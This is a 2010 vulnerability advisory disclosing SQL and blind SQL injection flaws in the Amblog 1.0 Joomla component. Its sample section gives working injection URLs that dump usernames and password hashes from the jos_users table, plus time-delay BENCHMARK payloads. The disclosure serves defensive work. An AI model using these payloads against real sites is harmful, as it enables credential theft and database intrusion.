Amblog 1.0 Joomla Component Multiple SQL Injection Vulnerabilities

2010-08-1200:00:00

vulners.com

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Name Amblog
Vendor http://robitbt.hu
Versions Affected 1.0

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-08-10

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX

I. ABOUT THE APPLICATION

Amblog is a simple blog engine for Joomla CMS.

II. DESCRIPTION

Some parameters are not properly sanitised before being
used in SQL queries.

III. ANALYSIS

Summary:

A) Multiple SQL Injection
B) Multiple Blind SQL Injection

A) Multiple SQL Injection

Some parameters, such as articleid and catid, are not
properly sanitised before being used in SQL queries.This
can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

B) Multiple Blind SQL Injection

The articleid parameter is not properly sanitised before
being used in SQL queries. This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.

IV. SAMPLE CODE

A) Multiple SQL Injection

http://site/path/index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version

http://site/path/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=newform&catid=-1 UNION SELECT 1,CONCAT(username,0x3a,password) FROM jos_users

http://site/path/index.php?option=com_amblog&task=editform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=editcommentform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=savenewcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=saveeditcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_amblog&task=editsave&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))

http://site/path/index.php?option=com_amblog&task=delete&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))

V. FIX

No fix.

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